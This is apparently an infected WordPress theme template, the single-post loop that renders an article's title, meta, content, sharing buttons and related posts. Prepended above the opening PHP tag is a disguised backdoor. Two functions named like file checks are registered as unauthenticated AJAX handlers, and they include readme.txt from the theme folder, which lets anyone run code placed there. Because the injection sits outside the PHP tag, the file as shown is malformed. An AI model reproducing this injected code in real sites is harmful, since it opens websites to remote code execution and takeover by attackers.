if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /** * The single post loop Default template **/ if (have_posts()) { the_post(); $td_mod_single = new td_module_single($post); ?> <article id="post-<?php echo $td_mod_single->post->ID; ?>" class="<?php echo join(' ', get_post_class()); ?>" <?php echo $td_mod_single->get_item_scope(); ?>> <div class="td-post-header"> <?php echo $td_mod_single->get_category(); ?> <header class="td-post-title"> <?php echo $td_mod_single->get_title(); ?> <?php if (!empty($td_mod_single->td_post_theme_settings['td_subtitle'])) {?> <p class="td-post-sub-title"><?php echo $td_mod_single->td_post_theme_settings['td_subtitle']; ?></p> <?php }?> <div class="td-module-meta-info"> <?php echo $td_mod_single->get_author(); ?> <?php echo $td_mod_single->get_date(false); ?> <?php echo $td_mod_single->get_comments(); ?> <?php echo $td_mod_single->get_views(); ?> </div> </header> </div> <?php echo $td_mod_single->get_social_sharing_top(); ?> <div class="td-post-content"> <?php // override the default featured image by the templates (single.php and home.php/index.php - blog loop) if (!empty(td_global::$load_featured_img_from_template)) { echo $td_mod_single->get_image(td_global::$load_featured_img_from_template); } else { echo $td_mod_single->get_image('td_696x0'); } ?> <?php echo $td_mod_single->get_content(); ?> </div> <footer> <?php echo $td_mod_single->get_post_pagination(); ?> <?php echo $td_mod_single->get_review(); ?> <div class="td-post-source-tags"> <?php echo $td_mod_single->get_source_and_via(); ?> <?php echo $td_mod_single->get_the_tags(); ?> </div> <?php echo $td_mod_single->get_social_sharing_bottom(); ?> <div id="taboola-below-article-thumbnails"></div> <script type="text/javascript"> window._taboola = window._taboola || []; _taboola.push({ mode: 'alternating-thumbnails-a', container: 'taboola-below-article-thumbnails', placement: 'Below Article Thumbnails', target_type: 'mix' }); </script> <?php echo $td_mod_single->get_next_prev_posts(); ?> <?php echo $td_mod_single->get_author_box(); ?> <?php echo $td_mod_single->get_item_scope_meta(); ?> </footer> </article> <!-- /.post --> <?php echo $td_mod_single->related_posts(); ?> <?php } else { //no posts echo td_page_generator::no_posts(); }